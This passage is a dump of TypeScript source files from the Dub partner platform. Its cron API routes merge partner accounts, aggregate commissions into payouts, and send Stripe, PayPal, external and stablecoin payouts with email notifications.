{\n            partnerId: targetPartnerId,\n            type: \"partnerDuplicatePayoutMethod\",\n          },\n          resolutionReason:\n            \"Automatically resolved because partners with duplicate payout methods were merged. No other partners share this payout method.\",\n        });\n      }\n    }\n\n    // Make sure the cache is cleared\n    await redis.del(`${CACHE_KEY_PREFIX}:${userId}`);\n\n    const resendBatchEmailRes = await sendBatchEmail(\n      [\n        {\n          variant: \"notifications\",\n          to: sourceEmail,\n          subject: \"Your Dub partner accounts are now merged\",\n          react: PartnerAccountMerged({\n            email: sourceEmail,\n            sourceEmail,\n            targetEmail,\n          }),\n        },\n        {\n          variant: \"notifications\",\n          to: targetEmail,\n          subject: \"Your Dub partner accounts are now merged\",\n          react: PartnerAccountMerged({\n            email: targetEmail,\n            sourceEmail,\n            targetEmail,\n          }),\n        },\n      ],\n      {\n        idempotencyKey: `${CACHE_KEY_PREFIX}/${userId}`,\n      },\n    );\n    console.log(prettyPrint(resendBatchEmailRes));\n\n    return new Response(\n      `Partner account ${sourceEmail} merged into ${targetEmail}.`,\n    );\n  } catch (error) {\n    if (userId) {\n      await redis.del(`${CACHE_KEY_PREFIX}:${userId}`);\n    }\n\n    await log({\n      message: `Error merging partner accounts: ${error.message}`,\n      type: \"alerts\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/aggregate-due-commissions/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { verifyVercelSignature } from \"@/lib/cron/verify-vercel\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK, chunk, log } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst BATCH_SIZE = 1000;\n\nconst schema = z.object({\n  programId: z.string().optional().describe(\"Optional program ID to filter by\"),\n});\n\n// This cron job aggregates due commissions (pending commissions that are past the partner group's holding period) into payouts.\n// Runs once every hour (0 * * * *) + calls itself recursively to look through all pending commissions available.\nasync function handler(req: Request) {\n  try {\n    let programId: string | undefined = undefined;\n\n    if (req.method === \"GET\") {\n      await verifyVercelSignature(req);\n    } else if (req.method === \"POST\") {\n      const rawBody = await req.text();\n      await verifyQstashSignature({\n        req,\n        rawBody,\n      });\n\n      ({ programId } = schema.parse(JSON.parse(rawBody)));\n    }\n\n    const partnerGroupsByHoldingPeriod = await prisma.partnerGroup.groupBy({\n      by: [\"holdingPeriodDays\"],\n      ...(programId ? { where: { programId } } : {}),\n      _count: {\n        id: true,\n      },\n      orderBy: {\n        _count: {\n          id: \"desc\",\n        },\n      },\n    });\n\n    console.log(JSON.stringify(partnerGroupsByHoldingPeriod, null, 2));\n\n    let holdingPeriodsWithMoreToProcess: number[] = [];\n    for (const { holdingPeriodDays } of partnerGroupsByHoldingPeriod) {\n      const partnerGroups = await prisma.partnerGroup.findMany({\n        where: {\n          holdingPeriodDays,\n          ...(programId ? { programId } : {}),\n        },\n        select: {\n          id: true,\n          program: {\n            select: {\n              id: true,\n              name: true,\n            },\n          },\n        },\n      });\n\n      console.log(\n        `Found ${partnerGroups.length} partner groups with holding period days: ${holdingPeriodDays}`,\n      );\n\n      // Find all due commissions (limit by BATCH_SIZE)\n      const dueCommissions = await prisma.commission.findMany({\n        where: {\n          status: \"pending\",\n          programEnrollment: {\n            groupId: {\n              in: partnerGroups.map((p) => p.id),\n            },\n          },\n          // If holding period days is greater than 0:\n          // we only process commissions that were created before the holding period\n          // but custom commissions are always included\n          ...(holdingPeriodDays > 0\n            ? {\n                OR: [\n                  {\n                    type: \"custom\", // includes manual commissions + clawbacks\n                  },\n                  {\n                    createdAt: {\n                      lt: new Date(\n                        Date.now() - holdingPeriodDays * 24 * 60 * 60 * 1000,\n                      ),\n                    },\n                  },\n                ],\n              }\n            : {}),\n        },\n        select: {\n          id: true,\n          createdAt: true,\n          earnings: true,\n          partnerId: true,\n          programId: true,\n        },\n        orderBy: {\n          createdAt: \"asc\",\n        },\n        take: BATCH_SIZE,\n      });\n\n      if (dueCommissions.length === 0) {\n        console.log(\n          `No more due commissions found for partner groups with holding period days: ${holdingPeriodDays}, skipping...`,\n        );\n        continue;\n      }\n\n      if (dueCommissions.length === BATCH_SIZE) {\n        holdingPeriodsWithMoreToProcess.push(holdingPeriodDays);\n      }\n\n      console.log(\n        `Found ${dueCommissions.length} due commissions for partner groups with holding period days: ${holdingPeriodDays}`,\n      );\n\n      const partnerProgramCommissions = dueCommissions.reduce<\n        Record<string, typeof dueCommissions>\n      >((acc, commission) => {\n        const key = `${commission.partnerId}:${commission.programId}`;\n        if (!acc[key]) {\n          acc[key] = [];\n        }\n        acc[key].push(commission);\n        return acc;\n      }, {});\n\n      const partnerProgramCommissionsArray = Object.entries(\n        partnerProgramCommissions,\n      ).map(([key, commissions]) => ({\n        partnerId: key.split(\":\")[0],\n        programId: key.split(\":\")[1],\n        commissions,\n      }));\n\n      const existingPendingPayouts = await prisma.payout.findMany({\n        where: {\n          programId: {\n            in: partnerProgramCommissionsArray.map((p) => p.programId),\n          },\n          partnerId: {\n            in: partnerProgramCommissionsArray.map((p) => p.partnerId),\n          },\n          status: \"pending\",\n        },\n      });\n\n      console.log(\n        `Processing ${partnerProgramCommissionsArray.length} partners with due commissions for partner groups with holding period days: ${holdingPeriodDays}`,\n      );\n      let totalProcessed = 0;\n\n      const chunks = chunk(partnerProgramCommissionsArray, 50);\n      for (let i = 0; i < chunks.length; i++) {\n        const chunk = chunks[i];\n        await Promise.allSettled(\n          chunk.map(async ({ partnerId, programId, commissions }) => {\n            // sort the commissions by createdAt\n            const sortedCommissions = commissions.sort(\n              (a, b) => a.createdAt.getTime() - b.createdAt.getTime(),\n            );\n\n            // sum the earnings of the commissions\n            const totalEarnings = sortedCommissions.reduce(\n              (total, commission) => total + commission.earnings,\n              0,\n            );\n\n            // earliest commission date\n            const periodStart = sortedCommissions[0].createdAt;\n\n            // last commission date\n            const periodEnd =\n              sortedCommissions[sortedCommissions.length - 1].createdAt;\n\n            let payoutToUse = existingPendingPayouts.find(\n              (p) => p.partnerId === partnerId && p.programId === programId,\n            );\n\n            if (!payoutToUse) {\n              const programName = partnerGroups.find(\n                (p) => p.program.id === programId,\n              )?.program.name;\n              payoutToUse = await prisma.payout.create({\n                data: {\n                  id: createId({ prefix: \"po_\" }),\n                  programId,\n                  partnerId,\n                  periodStart,\n                  periodEnd,\n                  amount: totalEarnings,\n                  description: `Dub Partners payout${programName ? ` (${programName})` : \"\"}`,\n                },\n              });\n            }\n\n            // update the commissions to have the payoutId\n            await prisma.commission.updateMany({\n              where: {\n                id: { in: commissions.map((c) => c.id) },\n              },\n              data: {\n                status: \"processed\",\n                payoutId: payoutToUse.id,\n              },\n            });\n\n            // if we're reusing a pending payout, we need to update the amount and periodEnd\n            if (existingPendingPayouts.find((p) => p.id === payoutToUse.id)) {\n              await prisma.payout.update({\n                where: {\n                  id: payoutToUse.id,\n                },\n                data: {\n                  amount: {\n                    increment: totalEarnings,\n                  },\n                  periodEnd,\n                },\n              });\n            }\n\n            totalProcessed++;\n          }),\n        );\n        console.log(`Processed chunk ${i + 1} of ${chunks.length}`);\n      }\n\n      const successRate =\n        (totalProcessed / partnerProgramCommissionsArray.length) * 100;\n      console.log(\n        `Processed ${totalProcessed}/${partnerProgramCommissionsArray.length} partners with due commissions for partner groups with holding period days: ${holdingPeriodDays} (${successRate.toFixed(1)}% success rate)`,\n      );\n    }\n\n    if (holdingPeriodsWithMoreToProcess.length > 0) {\n      console.log(\n        `Several holding periods still have more due commissions: ${holdingPeriodsWithMoreToProcess.join(\", \")}`,\n      );\n\n      const qstashResponse = await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/aggregate-due-commissions`,\n        body: programId ? { programId } : {}, // pass programId if defined, else pass an empty object\n      });\n      if (qstashResponse.messageId) {\n        console.log(\n          `Message sent to Qstash with id ${qstashResponse.messageId}`,\n        );\n      } else {\n        // should never happen, but just in case\n        await log({\n          message: `Error sending message to Qstash to schedule next batch of payouts: ${JSON.stringify(qstashResponse)}`,\n          type: \"errors\",\n          mention: true,\n        });\n      }\n      return logAndRespond(\n        \"Finished aggregating due commissions into payouts for current batch. Scheduling next batch...\",\n      );\n    }\n\n    return logAndRespond(\n      \"Finished aggregating due commissions into payouts for all batches.\",\n    );\n  } catch (error) {\n    await log({\n      message: `Error aggregating due commissions into payouts: ${error.message}`,\n      type: \"errors\",\n      mention: true,\n    });\n    return handleAndReturnErrorResponse(error);\n  }\n}\n\n// GET/POST /api/cron/payouts/aggregate-due-commissions\nexport { handler as GET, handler as POST };\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/balance-available/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { BANK_ACCOUNT_STATUS_DESCRIPTIONS } from \"@/lib/constants/payouts\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { getPartnerBankAccount } from \"@/lib/partners/get-partner-bank-account\";\nimport { stripe } from \"@/lib/stripe\";\nimport { sendEmail } from \"@dub/email\";\nimport PartnerPayoutWithdrawalFailed from \"@dub/email/templates/partner-payout-withdrawal-failed\";\nimport PartnerPayoutWithdrawalInitiated from \"@dub/email/templates/partner-payout-withdrawal-initiated\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  currencyFormatter,\n  formatDate,\n  log,\n  prettyPrint,\n} from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\nexport const dynamic = \"force-dynamic\";\n\nconst payloadSchema = z.object({\n  stripeAccount: z.string(),\n});\n\n// POST /api/cron/payouts/balance-available\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { stripeAccount } = payloadSchema.parse(JSON.parse(rawBody));\n\n    const partner = await prisma.partner.findUnique({\n      where: {\n        stripeConnectId: stripeAccount,\n      },\n      select: {\n        id: true,\n        email: true,\n      },\n    });\n\n    if (!partner) {\n      return logAndRespond(\n        `Partner not found with Stripe connect account ${stripeAccount}. Skipping...`,\n        {\n          logLevel: \"error\",\n        },\n      );\n    }\n\n    // Get the partner's current balance\n    const balance = await stripe.balance.retrieve({\n      stripeAccount,\n    });\n\n    if (balance.available.length === 0) {\n      // should never happen, but just in case\n      return logAndRespond(\n        `Partner ${partner.email} (${stripeAccount}) has no available balances. Skipping...`,\n      );\n    }\n\n    let { amount: availableBalance, currency } = balance.available[0];\n\n    // if available balance is 0, check if there's any pending balance\n    if (availableBalance === 0) {\n      const pendingBalance = balance.pending?.[0]?.amount ?? 0;\n\n      // if there's a pending balance, schedule another check in 1 hour\n      if (pendingBalance > 0) {\n        const res = await qstash.publishJSON({\n          url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/balance-available`,\n          delay: 60 * 60, // check again in 1 hour\n          body: {\n            stripeAccount,\n          },\n        });\n        console.log(\n          `Scheduled another check for partner ${partner.email} (${stripeAccount}) in 1 hour: ${res.messageId}`,\n        );\n\n        return logAndRespond(\n          `Pending balance found for partner ${partner.email} (${stripeAccount}): ${currencyFormatter(pendingBalance, { currency })}. Scheduling another check in 1 hour...`,\n        );\n      }\n\n      return logAndRespond(\n        `Partner ${partner.email} (${stripeAccount})'s available balance is 0. Skipping...`,\n      );\n    }\n\n    const bankAccount = await getPartnerBankAccount(stripeAccount);\n\n    const statusInfo = bankAccount\n      ? BANK_ACCOUNT_STATUS_DESCRIPTIONS[bankAccount.status]\n      : // edge case for cases where the partner doesn't have a bank account on file at all\n        {\n          title: \"No bank account\",\n          description: \"This partner does not have an active bank account.\",\n          variant: \"invalid\",\n        };\n\n    if (statusInfo.variant === \"invalid\") {\n      if (partner.email) {\n        const sentEmail = await sendEmail({\n          variant: \"notifications\",\n          subject:\n            \"[Action Required]: Update your bank account details to receive payouts\",\n          to: partner.email,\n          react: PartnerPayoutWithdrawalFailed({\n            email: partner.email,\n            bankAccount,\n            payout: {\n              amount: availableBalance,\n              currency,\n              failureReason: statusInfo.description,\n              isAvailableBalance: true,\n            },\n          }),\n        });\n        console.log(\n          `Sent email to partner ${partner.email} (${stripeAccount}): ${prettyPrint(sentEmail)}`,\n        );\n      }\n      return logAndRespond(\n        `Partner ${partner.email} (${stripeAccount}) has an errored bank account. Skipping...`,\n      );\n    }\n\n    if ([\"huf\", \"twd\"].includes(currency)) {\n      // For HUF and TWD, Stripe requires payout amounts to be evenly divisible by 100\n      // We need to round down to the nearest 100 units\n      availableBalance = Math.floor(availableBalance / 100) * 100;\n    }\n\n    const stripePayout = await stripe.payouts.create(\n      {\n        amount: availableBalance,\n        currency,\n        // example: \"Dub Partners auto-withdrawal (Aug 1, 2025)\"\n        description: `Dub Partners auto-withdrawal (${formatDate(new Date(), { month: \"short\" })})`,\n        method: \"standard\",\n      },\n      {\n        stripeAccount,\n      },\n    );\n\n    console.log(\n      `Stripe payout created for partner ${partner.email} (${stripeAccount}): ${stripePayout.id} (${currencyFormatter(stripePayout.amount, { currency: stripePayout.currency })})`,\n    );\n\n    const transfers = await stripe.transfers.list({\n      destination: stripeAccount,\n      limit: 100,\n    });\n\n    // update all payouts for the partner that match the following criteria to have the stripePayoutId:\n    // - in the \"sent\" status\n    // - no stripe payout id (meaning it was not yet withdrawn to the connected bank account)\n    // - have a stripe transfer id (meaning it was transferred to this connected account)\n    // OR: payouts that are in the \"failed\" status + have a stripePayoutId (failed to send before)\n    const updatedPayouts = await prisma.payout.updateMany({\n      where: {\n        partnerId: partner.id,\n        OR: [\n          {\n            status: \"sent\",\n            stripePayoutId: null,\n            stripeTransferId: {\n              in: transfers.data.map(({ id }) => id),\n            },\n          },\n          {\n            status: \"failed\",\n            stripePayoutId: {\n              not: null,\n            },\n          },\n        ],\n      },\n      data: {\n        stripePayoutId: stripePayout.id,\n      },\n    });\n\n    console.log(\n      `Updated ${updatedPayouts.count} payouts for partner ${partner.email} (${stripeAccount}) to have the stripePayoutId: ${stripePayout.id}`,\n    );\n\n    if (partner.email) {\n      const sentEmail = await sendEmail({\n        variant: \"notifications\",\n        subject: `Your ${currencyFormatter(stripePayout.amount, { currency: stripePayout.currency })} auto-withdrawal from Dub is on its way to your bank`,\n        to: partner.email,\n        react: PartnerPayoutWithdrawalInitiated({\n          email: partner.email,\n          payout: {\n            amount: stripePayout.amount,\n            currency: stripePayout.currency,\n            arrivalDate: stripePayout.arrival_date,\n          },\n        }),\n        headers: {\n          \"Idempotency-Key\": `payout-initiated-${stripePayout.id}`,\n        },\n      });\n\n      console.log(\n        `Sent email to partner ${partner.email} (${stripeAccount}): ${JSON.stringify(sentEmail, null, 2)}`,\n      );\n    }\n\n    return logAndRespond(\n      `Processed \"balance.available\" for partner ${partner.email} (${stripeAccount})`,\n    );\n  } catch (error) {\n    await log({\n      message: `Error handling \"balance.available\" ${error.message}.`,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/charge-succeeded/queue-external-payouts.ts",
    "content": "import { queueBatchEmail } from \"@/lib/email/queue-batch-email\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { payoutWebhookEventSchema } from \"@/lib/zod/schemas/payouts\";\nimport type PartnerPayoutConfirmed from \"@dub/email/templates/partner-payout-confirmed\";\nimport { prisma } from \"@dub/prisma\";\nimport { Invoice } from \"@dub/prisma/client\";\nimport { currencyFormatter, log } from \"@dub/utils\";\n\nexport async function queueExternalPayouts(\n  invoice: Pick<\n    Invoice,\n    \"id\" | \"paymentMethod\" | \"programId\" | \"workspaceId\" | \"payoutMode\"\n  >,\n) {\n  // All payouts are processed internally, hence no need to queue external payouts\n  if (invoice.payoutMode === \"internal\") {\n    console.log(`Invoice ${invoice.id} is paid internally. Skipping...`);\n    return;\n  }\n\n  // should never happen, but just in case\n  if (!invoice.programId) {\n    console.log(`Invoice ${invoice.id} has no program ID. Skipping...`);\n    return;\n  }\n\n  const program = await prisma.program.findUnique({\n    where: {\n      id: invoice.programId,\n    },\n    select: {\n      id: true,\n      name: true,\n      slug: true,\n      logo: true,\n      supportEmail: true,\n    },\n  });\n\n  // should never happen, but just in case\n  if (!program) {\n    console.log(`Program not found for invoice ${invoice.id}. Skipping...`);\n    return;\n  }\n\n  const externalPayouts = await prisma.payout.findMany({\n    where: {\n      invoiceId: invoice.id,\n      status: \"processing\",\n      mode: \"external\",\n    },\n    include: {\n      partner: {\n        include: {\n          programs: {\n            where: {\n              programId: program.id,\n            },\n            select: {\n              tenantId: true,\n              status: true,\n            },\n          },\n        },\n      },\n    },\n  });\n\n  if (externalPayouts.length === 0) {\n    console.log(\"No external payouts found for invoice\", invoice.id);\n    return;\n  }\n\n  const webhooks = await prisma.webhook.findMany({\n    where: {\n      projectId: invoice.workspaceId,\n      disabledAt: null,\n      triggers: {\n        array_contains: [\"payout.confirmed\"],\n      },\n    },\n    select: {\n      id: true,\n      url: true,\n      secret: true,\n    },\n  });\n\n  if (webhooks.length === 0) {\n    await log({\n      message: `No payout.confirmed webhook found for workspace ${invoice.workspaceId} (program: ${program.slug}, invoice: ${invoice.id}). Skipping external payouts...`,\n      type: \"errors\",\n      mention: true,\n    });\n    return;\n  }\n\n  for (const payout of externalPayouts) {\n    try {\n      const data = payoutWebhookEventSchema.parse({\n        ...payout,\n        partner: {\n          ...payout.partner,\n          ...payout.partner.programs[0],\n        },\n      });\n\n      await sendWorkspaceWebhook({\n        workspace: {\n          id: invoice.workspaceId,\n          webhookEnabled: true,\n        },\n        webhooks,\n        data,\n        trigger: \"payout.confirmed\",\n      });\n    } catch (error) {\n      console.error(error.message);\n    }\n  }\n\n  await queueBatchEmail<typeof PartnerPayoutConfirmed>(\n    externalPayouts.map((payout) => ({\n      to: payout.partner.email!,\n      subject: `Your ${currencyFormatter(payout.amount)} payout for ${program.name} is on the way`,\n      variant: \"notifications\",\n      replyTo: program.supportEmail || \"noreply\",\n      templateName: \"PartnerPayoutConfirmed\",\n      templateProps: {\n        email: payout.partner.email!,\n        program: {\n          id: program.id,\n          name: program.name,\n          logo: program.logo,\n        },\n        payout: {\n          id: payout.id,\n          amount: payout.amount,\n          initiatedAt: payout.initiatedAt,\n          startDate: payout.periodStart,\n          endDate: payout.periodEnd,\n          mode: \"external\",\n          paymentMethod: invoice.paymentMethod ?? \"ach\",\n          payoutMethod: payout.method,\n        },\n      },\n    })),\n    {\n      idempotencyKey: `payout-confirmed-external/${invoice.id}`,\n    },\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/charge-succeeded/queue-stripe-payouts.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { prisma } from \"@dub/prisma\";\nimport { Invoice, PartnerPayoutMethod } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK, chunk, log } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\nconst stripeChargeMetadataSchema = z.object({\n  id: z.string(), // Stripe charge id\n});\n\nconst queue = qstash.queue({\n  queueName: \"send-stripe-payout\",\n});\n\nexport async function queueStripePayouts(\n  invoice: Pick<\n    Invoice,\n    \"id\" | \"paymentMethod\" | \"stripeChargeMetadata\" | \"payoutMode\"\n  >,\n  skipStablecoinPayouts: boolean,\n) {\n  // All payouts are processed externally, hence no need to queue Stripe payouts\n  if (invoice.payoutMode === \"external\") {\n    return;\n  }\n\n  const { id: invoiceId, paymentMethod, stripeChargeMetadata } = invoice;\n\n  // Find the id of the charge that was used to fund the transfer\n  const parsedChargeMetadata =\n    stripeChargeMetadataSchema.safeParse(stripeChargeMetadata);\n  const chargeId = parsedChargeMetadata?.success\n    ? parsedChargeMetadata?.data.id\n    : undefined;\n\n  // this should never happen since all completed invoices should have a charge id, but just in case\n  if (!chargeId) {\n    await log({\n      message:\n        \"No charge id found in stripeChargeMetadata for invoice \" +\n        invoiceId +\n        \", continuing without source_transaction.\",\n      type: \"errors\",\n    });\n  }\n\n  const partnersInCurrentInvoice = await prisma.payout.groupBy({\n    by: [\"partnerId\"],\n    where: {\n      invoiceId,\n      status: \"processing\",\n      mode: \"internal\",\n      method: {\n        in: [\n          PartnerPayoutMethod.connect,\n          ...(!skipStablecoinPayouts ? [PartnerPayoutMethod.stablecoin] : []),\n        ],\n      },\n      partner: {\n        OR: [\n          {\n            stripeConnectId: {\n              not: null,\n            },\n          },\n          {\n            stripeRecipientId: {\n              not: null,\n            },\n          },\n        ],\n        // here we're not checking for payoutsEnabledAt since we want visiblity\n        // if a stripe.transfers.create fails due to restricted Stripe account\n      },\n    },\n  });\n\n  const chunkedPartners = chunk(partnersInCurrentInvoice, 100);\n\n  for (let i = 0; i < chunkedPartners.length; i++) {\n    const partnersInChunk = chunkedPartners[i];\n    await Promise.allSettled(\n      partnersInChunk.map(({ partnerId }) => {\n        return queue.enqueueJSON({\n          url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/send-stripe-payout`,\n          deduplicationId: `${invoiceId}-${partnerId}`,\n          method: \"POST\",\n          body: {\n            partnerId,\n            invoiceId,\n            // only pass chargeId if payment method is card\n            // this is because we're passing chargeId as source_transaction for card payouts since card payouts can take a short time to settle fully\n            // we omit chargeId/source_transaction for other payment methods (ACH, SEPA, etc.) since those settle via charge.succeeded webhook after ~4 days\n            // x-slack-ref: https://dub.slack.com/archives/C074P7LMV9C/p1758776038825219?thread_ts=1758769780.982089&cid=C074P7LMV9C\n            ...(paymentMethod === \"card\" && { chargeId }),\n          },\n        });\n      }),\n    );\n    console.log(\n      `Enqueued Stripe payout for ${partnersInChunk.length} partners in chunk ${i + 1} of ${chunkedPartners.length}`,\n    );\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/charge-succeeded/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { MIN_WITHDRAWAL_AMOUNT_CENTS } from \"@/lib/constants/payouts\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { fundFinancialAccount } from \"@/lib/stripe/fund-financial-account\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\nimport { queueExternalPayouts } from \"./queue-external-payouts\";\nimport { queueStripePayouts } from \"./queue-stripe-payouts\";\nimport { sendPaypalPayouts } from \"./send-paypal-payouts\";\nimport { scheduleDelayedStablecoinPayouts } from \"./utils\";\n\nexport const dynamic = \"force-dynamic\";\nexport const maxDuration = 600; // This function can run for a maximum of 10 minutes\n\nconst payloadSchema = z.object({\n  invoiceId: z.string(),\n});\n\n// POST /api/cron/payouts/charge-succeeded\n// This route is used to process the charge-succeeded event from Stripe.\n// We're intentionally offloading this to a cron job so we can return a 200 to Stripe immediately.\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { invoiceId } = payloadSchema.parse(JSON.parse(rawBody));\n\n    const invoice = await prisma.invoice.findUnique({\n      where: {\n        id: invoiceId,\n      },\n      include: {\n        _count: {\n          select: {\n            payouts: {\n              where: {\n                status: \"processing\",\n              },\n            },\n          },\n        },\n      },\n    });\n\n    if (!invoice) {\n      return logAndRespond(`Invoice ${invoiceId} not found.`);\n    }\n\n    if (invoice._count.payouts === 0) {\n      return logAndRespond(\n        `No payouts found with status 'processing' for invoice ${invoiceId}, skipping...`,\n      );\n    }\n\n    // Set the method for each payout in the invoice to the corresponding partner's default payout method\n    await prisma.$executeRaw`\n      UPDATE Payout p\n      INNER JOIN Partner pr ON p.partnerId = pr.id\n      SET p.method = pr.defaultPayoutMethod\n      WHERE p.invoiceId = ${invoice.id}\n      AND pr.defaultPayoutMethod IS NOT NULL\n      AND p.status = 'processing'\n    `;\n\n    // Fund the total stablecoin payout amount for this invoice\n    const { _sum } = await prisma.payout.aggregate({\n      _sum: { amount: true },\n      where: {\n        invoiceId: invoice.id,\n        method: \"stablecoin\",\n        // only transfer funds for stablecoin payouts >= minimum withdrawal amount\n        // for payouts below the minimum withdrawal amount, we will just mark them as processed\n        // and users can force withdraw them manually later (which triggers another fundFinancialAccount call)\n        amount: {\n          gte: MIN_WITHDRAWAL_AMOUNT_CENTS,\n        },\n      },\n    });\n\n    let skipStablecoinPayouts = false;\n    const stablecoinFundingAmount = _sum.amount ?? 0;\n\n    // Send money to Financial Account to handle stablecoin payouts\n    if (stablecoinFundingAmount > 0) {\n      const { nextAction } = await scheduleDelayedStablecoinPayouts(invoice);\n\n      if (nextAction === \"executeNow\") {\n        try {\n          await fundFinancialAccount({\n            amount: stablecoinFundingAmount,\n            idempotencyKey: invoiceId,\n          });\n        } catch (error) {\n          await log({\n            message: `Failed to fund Dub's financial account for stablecoin payouts: ${error.message}`,\n            type: \"errors\",\n          });\n\n          skipStablecoinPayouts = true;\n        }\n      }\n\n      if (nextAction === \"skip\") {\n        skipStablecoinPayouts = true;\n      }\n    }\n\n    await Promise.allSettled([\n      // Queue Stripe payouts\n      queueStripePayouts(invoice, skipStablecoinPayouts),\n      // Send PayPal payouts\n      sendPaypalPayouts(invoice),\n      // Queue external payouts\n      queueExternalPayouts(invoice),\n    ]);\n\n    return logAndRespond(\n      `Completed processing all payouts for invoice ${invoiceId}.`,\n    );\n  } catch (error) {\n    await log({\n      message: `Error sending payouts for invoice: ${error.message}`,\n      type: \"cron\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/charge-succeeded/send-paypal-payouts.ts",
    "content": "import { queueBatchEmail } from \"@/lib/email/queue-batch-email\";\nimport { createPayPalBatchPayout } from \"@/lib/paypal/create-batch-payout\";\nimport PartnerPayoutProcessed from \"@dub/email/templates/partner-payout-processed\";\nimport { prisma } from \"@dub/prisma\";\nimport { Invoice } from \"@dub/prisma/client\";\nimport { currencyFormatter } from \"@dub/utils\";\n\nexport async function sendPaypalPayouts(invoice: Pick<Invoice, \"id\">) {\n  const payouts = await prisma.payout.findMany({\n    where: {\n      invoiceId: invoice.id,\n      status: \"processing\",\n      mode: \"internal\",\n      method: \"paypal\",\n      partner: {\n        payoutsEnabledAt: {\n          not: null,\n        },\n        paypalEmail: {\n          not: null,\n        },\n      },\n    },\n    include: {\n      partner: {\n        select: {\n          email: true,\n          paypalEmail: true,\n        },\n      },\n      program: {\n        select: {\n          name: true,\n          logo: true,\n        },\n      },\n    },\n  });\n\n  if (payouts.length === 0) {\n    console.log(\"No payouts for sending via PayPal, skipping...\");\n    return;\n  }\n\n  const batchPayout = await createPayPalBatchPayout({\n    payouts,\n    invoiceId: invoice.id,\n  });\n\n  console.log(\"PayPal batch payout created\", batchPayout);\n\n  // update the payouts to \"sent\" status\n  const updatedPayouts = await prisma.payout.updateMany({\n    where: {\n      id: { in: payouts.map((p) => p.id) },\n    },\n    data: {\n      status: \"sent\",\n      paidAt: new Date(),\n    },\n  });\n\n  console.log(`Updated ${updatedPayouts.count} payouts to \"sent\" status`);\n\n  await queueBatchEmail<typeof PartnerPayoutProcessed>(\n    payouts.map((payout) => ({\n      variant: \"notifications\",\n      to: payout.partner.email!,\n      subject: `You've received a ${currencyFormatter(payout.amount)} payout from ${payout.program.name}`,\n      templateName: \"PartnerPayoutProcessed\",\n      templateProps: {\n        email: payout.partner.email!,\n        program: payout.program,\n        payout,\n      },\n    })),\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/charge-succeeded/utils.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { stripe } from \"@/lib/stripe\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\nconst stripeChargeMetadataSchema = z.object({\n  id: z.string(),\n});\n\ninterface StablecoinScheduleResult {\n  nextAction: \"skip\" | \"executeNow\";\n}\n\n// For stablecoin payouts, schedule a cron job at `available_on + 15 minutes`\n// because Stablecoin financial accounts do not support `source_transaction`,\n// so the payout must be triggered after funds become available.\nexport async function scheduleDelayedStablecoinPayouts(invoice: {\n  id: string;\n  stripeChargeMetadata: unknown;\n}): Promise<StablecoinScheduleResult> {\n  const stripeChargeMetadata = stripeChargeMetadataSchema.parse(\n    invoice.stripeChargeMetadata,\n  );\n\n  const balanceTransactions = await stripe.balanceTransactions.list({\n    source: stripeChargeMetadata.id,\n  });\n\n  const now = Date.now();\n  let scheduleTimeMs = 0;\n\n  // Balance transaction is not available\n  if (balanceTransactions.data.length === 0) {\n    console.log(\n      `No balance transaction found for charge ${stripeChargeMetadata.id}`,\n    );\n\n    scheduleTimeMs = now + 1 * 60 * 60 * 1000;\n  }\n\n  // Balance transaction is available\n  else {\n    const balanceTransaction = balanceTransactions.data[0];\n\n    console.log(\n      `Found balance transaction for charge invoice ${invoice.id}: ${balanceTransaction.id}`,\n      {\n        available_on: balanceTransaction.available_on,\n      },\n    );\n\n    const availableOnMs = balanceTransaction.available_on * 1000;\n\n    // Funds already available, execute immediately\n    if (availableOnMs <= now) {\n      return {\n        nextAction: \"executeNow\",\n      };\n    }\n\n    scheduleTimeMs = availableOnMs + 15 * 60 * 1000;\n  }\n\n  // Schedule the QStash job\n  const delaySeconds = Math.max(\n    0,\n    Math.floor((scheduleTimeMs - Date.now()) / 1000),\n  );\n\n  const qstashResponse = await qstash.publishJSON({\n    